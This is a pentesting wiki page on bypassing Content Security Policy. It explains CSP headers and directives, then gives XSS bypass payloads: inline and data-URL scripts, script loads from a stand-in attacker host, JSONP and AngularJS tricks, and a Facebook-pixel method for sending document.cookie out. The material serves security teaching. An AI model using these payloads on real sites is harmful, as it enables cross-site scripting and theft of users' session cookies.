🕵️
VeryLazyTech
📜 Medium🛒 My Shop👾 Github📩 Telegram 📺 YouTube✖ Twitter
  • 🕵️Welcome!
    • VeryLazyTech
    • Support VeryLazyTech
      • 👾 GitHub
      • 📜 Medium
      • ☕ My Shop
      • 📺 YouTube
      • ✖ Twitter
      • 📩 Telegram
  • 🛡️ Vulnerabilities and Exploits
    • CVE - POC
      • Unauthenticated RCE Flaw in Rejetto HTTP File Server - CVE-2024-23692
      • POC - CVE-2024–4956 - Nexus Repository Manager 3 Unauthenticated Path Traversal
      • POC - CVE-2024-45241: Path Traversal in CentralSquare's CryWolf
      • Telerik Auth Bypass CVE-2024-4358
      • Check Point Security Gateways Information Disclosure - CVE-2024-24919
      • CVE-2024-23897 - Jenkins File Read Vulnerability
      • CVE-2024–10914- Command Injection Vulnerability in name parameter for D-Link NAS
      • POC - CVE-2024-21534 Jsonpath-plus vulnerable to Remote Code Execution (RCE)
      • CVE-2024-9935 - PDF Generator Addon for Elementor Page Builder <= 1.7.5 - Unauthenticated Arbitrary
      • CVE-2024-50623- Cleo Unrestricted file upload and download
      • POC - WordPress File Upload plugin, in the wfu_file_downloader.php file before version <= 4.24.11
      • POC - Remote and unauthenticated attacker can send crafted HTTP requests to RCE - cve-2025-3248
      • POC - CVE-2025–2539 File Away <= 3.9.9.0.1 - Missing Authorization to Unauthenticated Arbitrary File
      • POC - CVE-2025-29306 FOXCMS /images/index.html Code Execution Vulnerability
  • 🕵️‍♂️Dorks
    • GitHub Dorks
    • Google Dork Online Tool
  • 📚 Resources
    • Top Hacking Books for 2024: FREE and Paid
    • How to Study for OSCP with the PWK Book PDF
    • Top 20 phishing tools to use in 2024
    • Top 8 Bug Bounty Books for 2025: Must-Reads for Ethical Hackers
    • Top Hacking Tools and Skills You Need to Learn in 2025
    • Offensive Cloud
    • Penetration Testing & Hacking Tools List
    • Top Cybersecurity Books by Topic
  • The Ultimate Penetration Testing Methodology (2025 Edition)
  • 🕸️Pentesting Web
    • Client Side Template Injection (CSTI)
    • Identify a Server’s Origin IP
    • 2FA/MFA/OTP Bypass
  • IDOR
  • Open Redirect
  • Subdomain Takeover
  • Penetration Testing WiFi Networks
  • Client-Side Path Traversal
  • Clickjacking
  • Command Injection
  • JWT Vulnerabilities
  • Bypass rating limit
  • CORS - Misconfigurations & Bypass
  • LDAP Injection
  • File upload vulnerabilities
  • Content Security Policy (CSP) bypass
  • 🐧Linux
    • Practical Linux Commands
    • Bypassing Bash Restrictions - Rbash
    • Privilege escalation - Linux
  • Linux Environment Variables
  • 🪟Windows
    • Active Directory Methodology
  • 🌐Network Pentesting
    • FTP - Port 21
    • SSH- Port 22
    • Telnet - Port 23
    • SMTP/s - Port 25,465,587
    • WHOIS - Port 43
    • TACACS+ - Port 49
    • DNS - Port 53
    • TFTP/Bittorrent-tracker - Port 69/UDP
    • Finger - Port 79
    • Web - Port 80,443
    • Kerberos - Port 88
    • POP - Port 110/995
    • Portmapper - Port 111/TCP/UDP
    • Ident - Port 113
    • NTP - Port 123/UDP
    • MSRPC - Port 135, 539
    • NetBios - Port 137,138,139
    • SMB - Port 139 445
    • IMAP - Port 143, 993
    • SNMP - Ports 161, 162, 10161, and 10162/UDP
    • IRC - Ports 194,6667,6660-7000
    • Check Point Firewall - Port 264
    • LDAP - Ports 389, 636, 3268, 3269
    • IPsec/IKE VPN - Port 500/UDP
    • Modbus - Port 502
    • Rexec - Port 512
    • Rlogin - Port 513
    • Rsh - Port 514
    • Line Printer Daemon (LPD) - Port 515
    • Apple Filing Protocol (AFP) - PORT 548
    • RTSP - Port 554, 8554
    • IPMI - Port 623/UDP/TCP
    • Internet Printing Protocol (IPP) - Port 631
    • EPP - Port 700
    • Rsync - Port 873
    • Rusersd Service - Port 1026
    • Socks - Port 1080
    • Java RMI - RMI-IIOP - Port 1098/1099/1050
    • MSSQL (Microsoft SQL Server) - Port 1433
    • Oracle TNS Listener - Port 1521,1522-1529
  • PPTP - Port 1723
  • MQTT (Message Queuing Telemetry Transport) - Port 1883
  • Compaq HP Insight Manager - Port 2301, 2381
  • NFS Service - Port 2049
  • Docker - Port 2375,2376
  • Squid - Port 3128
  • iScsi - Port 3260
  • SAPRouter - Port 3299
  • 😎Post-exploitation
    • File Transfer Cheatsheet: Windows and Linux
  • 🧑‍🔧Technical guides
    • Kali Linux - Installation
Powered by GitBook
On this page
  • Basic info
  • Headers
  • Defining Resources
  • Directives
  • Sources
  • Spot Weaknesses (Unsafe Rules)
  • 'unsafe-inline'
  • 'unsafe-eval'
  • Wildcard (*)
  • Missing Directives (e.g., object-src or default-src)
  • Exploit File Uploads with 'self'
  • Hijack Third-Party Services
  • JSONP Endpoints
  • Third-Party Abuses (e.g., Facebook, Jsdelivr)
  • Get Creative with AngularJS
  • Advanced Tricks
  • Policy Injection
  • Dangling Markup (Missing base-uri)
  • Service Workers
  • PHP Errors
  • Checking CSP Policies Online

Was this helpful?

Content Security Policy (CSP) bypass

PreviousFile upload vulnerabilitiesNextPractical Linux Commands

Last updated 2 months ago

Was this helpful?

  • Become VeryLazyTech ! 🎁

  • Follow us on:

    • ✖ Twitter .

    • 👾 Github .

    • 📜 Medium .

    • 📺 YouTube .

    • 📩 Telegram .

    • 🕵️‍♂️ My Site .

  • Visit our for e-books and courses. 📚

Basic info

Content Security Policy (CSP) is recognized as a browser technology, primarily aimed at shielding against attacks such as cross-site scripting (XSS). It functions by defining and detailing paths and sources from which resources can be securely loaded by the browser. These resources encompass a range of elements such as images, frames, and JavaScript. For instance, a policy might permit the loading and execution of resources from the same domain (self), including inline resources and the execution of string code through functions like eval, setTimeout, or setInterval.

Implementation of CSP is conducted through response headers or by incorporating meta elements into the HTML page. Following this policy, browsers proactively enforce these stipulations and immediately block any detected violations.

  • Implemented via response header:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • Implemented via meta tag:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Headers

CSP can be enforced or monitored using these headers:

  • Content-Security-Policy: Enforces the CSP; the browser blocks any violations.

  • Content-Security-Policy-Report-Only: Used for monitoring; reports violations without blocking them. Ideal for testing in pre-production environments.

Defining Resources

CSP restricts the origins for loading both active and passive content, controlling aspects like inline JavaScript execution and the use of eval(). An example policy is:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Directives

  • script-src: Allows specific sources for JavaScript, including URLs, inline scripts, and scripts triggered by event handlers or XSLT stylesheets.

  • default-src: Sets a default policy for fetching resources when specific fetch directives are absent.

  • child-src: Specifies allowed resources for web workers and embedded frame contents.

  • connect-src: Restricts URLs which can be loaded using interfaces like fetch, WebSocket, XMLHttpRequest.

  • frame-src: Restricts URLs for frames.

  • frame-ancestors: Specifies which sources can embed the current page, applicable to elements like <frame>, <iframe>, <object>, <embed>, and <applet>.

  • img-src: Defines allowed sources for images.

  • font-src: Specifies valid sources for fonts loaded using @font-face.

  • manifest-src: Defines allowed sources of application manifest files.

  • media-src: Defines allowed sources for loading media objects.

  • object-src: Defines allowed sources for <object>, <embed>, and <applet> elements.

  • base-uri: Specifies allowed URLs for loading using <base> elements.

  • form-action: Lists valid endpoints for form submissions.

  • plugin-types: Restricts mime types that a page may invoke.

  • upgrade-insecure-requests: Instructs browsers to rewrite HTTP URLs to HTTPS.

  • sandbox: Applies restrictions similar to the sandbox attribute of an <iframe>.

  • report-to: Specifies a group to which a report will be sent if the policy is violated.

  • worker-src: Specifies valid sources for Worker, SharedWorker, or ServiceWorker scripts.

  • prefetch-src: Specifies valid sources for resources that will be fetched or prefetched.

  • navigate-to: Restricts the URLs to which a document can navigate by any means (a, form, window.location, window.open, etc.)

Sources

  • *: Allows all URLs except those with data:, blob:, filesystem: schemes.

  • 'self': Allows loading from the same domain.

  • 'data': Allows resources to be loaded via the data scheme (e.g., Base64 encoded images).

  • 'none': Blocks loading from any source.

  • 'unsafe-eval': Allows the use of eval() and similar methods, not recommended for security reasons.

  • 'unsafe-hashes': Enables specific inline event handlers.

  • 'unsafe-inline': Allows the use of inline resources like inline <script> or <style>, not recommended for security reasons.

  • 'nonce': A whitelist for specific inline scripts using a cryptographic nonce (number used once).

    • If you have JS limited execution it's possible to get a used nonce inside the page with doc.defaultView.top.document.querySelector("[nonce]") and then reuse it to load a malicious script.

  • 'sha256-<hash>': Whitelists scripts with a specific sha256 hash.

  • 'strict-dynamic': Allows loading scripts from any source if it has been whitelisted by a nonce or hash.

  • 'host': Specifies a specific host, like example.com.

  • https:: Restricts URLs to those that use HTTPS.

  • blob:: Allows resources to be loaded from Blob URLs (e.g., Blob URLs created via JavaScript).

  • filesystem:: Allows resources to be loaded from the filesystem.

  • 'report-sample': Includes a sample of the violating code in the violation report (useful for debugging).

  • 'strict-origin': Similar to 'self' but ensures the protocol security level of the sources matches the document (only secure origins can load resources from secure origins).

  • 'strict-origin-when-cross-origin': Sends full URLs when making same-origin requests but only sends the origin when the request is cross-origin.

  • 'unsafe-allow-redirects': Allows resources to be loaded that will immediately redirect to another resource. Not recommended as it weakens security.


Spot Weaknesses (Unsafe Rules)

Some CSP rules are like leaving the back door unlocked. Here’s what to watch for:

'unsafe-inline'

  • What It Means: Allows inline scripts (e.g., <script>alert(1);</script>).

  • How to Exploit: Inject <script>alert(1);</script> into an XSS vulnerability.

  • Example: "/><script>alert(1);</script> works if there’s an input field reflecting your code.

  • Why It Works: The CSP doesn’t block inline code, so your script runs free.

'unsafe-eval'

  • What It Means: Allows eval()—a function that runs raw JavaScript strings.

  • How to Exploit: Use a data URL like <script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script> (base64 for alert(document.domain)).

  • Tip: Some modern browsers block this, so test it first.

Wildcard (*)

  • What It Means: Allows resources from any URL (except data:, blob:, etc.).

  • How to Exploit: Load a script from your server: <script src="https://your-site.com/evil.js"></script>.

  • Example: "/><script src=https://attacker-website.com/evil.js></script>.

Missing Directives (e.g., object-src or default-src)

  • What It Means: Older trick to load malicious objects, but modern browsers often block it.

  • How to Exploit: Try <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object> (base64 for <script>alert(1)</script>).

  • Heads-Up: This is mostly patched, but check older systems.

Exploit File Uploads with 'self'

  • What It Means: CSP allows scripts from the same site ('self'), and you can upload files.

  • How to Exploit:

    1. Upload a JavaScript file disguised as something else (e.g., script.png.js).

    2. Inject <script src="/uploads/script.png.js"></script>.

  • Trick: Some servers (like Apache) don’t recognize weird extensions (e.g., .wave) and serve them as scripts. Use a polyglot (a file that’s both an image and JS) if the server checks formats.

  • Example: "/><script src="/uploads/picture.png.js"></script>.


Hijack Third-Party Services

Websites often trust big names like Google or Facebook. You can turn that trust against them.

JSONP Endpoints

  • What It Means: Some APIs (like Google’s search) let you define a callback function.

  • How to Exploit: <script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script> runs alert(1).

  • Why It Works: The CSP trusts the domain, and JSONP slips your code in.

Third-Party Abuses (e.g., Facebook, Jsdelivr)

  • What It Means: CSP allows domains like www.facebook.com or cdn.jsdelivr.net.

  • How to Exploit:

    1. Sign up for a Facebook Developer account, get an App ID (e.g., 1279785999289471).

    2. Inject: fbq('init', '1279785999289471'); fbq('trackCustom', 'MyEvent', {data: document.cookie});.

    3. Check your Facebook Events Manager for the stolen data.

  • Tip: Look for domains like *.cloudfront.net or *.firebaseapp.com—they’re often exploitable.

Get Creative with AngularJS

  • What It Means: If AngularJS is allowed (e.g., from cdnjs.cloudflare.com), it’s a goldmine for XSS.

  • How to Exploit:

    • Simple: <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script><div ng-app>{{'a'.constructor.prototype.charAt=[].join;$eval('alert(1)')}}</div>.

    • Events: <input ng-focus="$event.path|orderBy:'alert(document.cookie)'"> escapes CSP sandboxes.

  • Why It Works: Angular’s flexibility lets you run code even with CSP in place.


Advanced Tricks

Policy Injection

  • What It Means: If user input tweaks the CSP, you can break it.

  • How to Exploit:

    • Chrome: Add ;script-src-elem * to allow all scripts.

    • Edge: Add ;_ to disable the whole policy.

  • Example: http://site.com/?x=;script-src-elem+*&y=<script>alert(1)</script>.

Dangling Markup (Missing base-uri)

  • What It Means: No base-uri means you can hijack relative paths.

  • How to Exploit: <base href="https://your-site.com/"><script src="/js/app.js"></script> loads your script.

  • Tip: Use HTTPS if the site does.

Service Workers

  • What It Means: importScripts() ignores CSP.

  • How to Exploit: Register a worker to load evil.js from anywhere.

PHP Errors

  • What It Means: Overload the server (e.g., 1001 GET params) to skip CSP headers.

  • How to Exploit: Send a huge request and inject <script>alert(1)</script>.


Checking CSP Policies Online


Support VeryLazyTech 🎉
  • Follow us on:

Learn & practice

Become VeryLazyTech ! 🎁

✖ Twitter .

👾 Github .

📜 Medium .

📺 YouTube .

📩 Telegram .

🕵️‍♂️ My Site .

Visit our for e-books and courses. 📚

member
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
shop
https://csp-evaluator.withgoogle.com/
https://cspvalidator.org/?policy_lz=IoXjQ
For the OSCP.
member
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
shop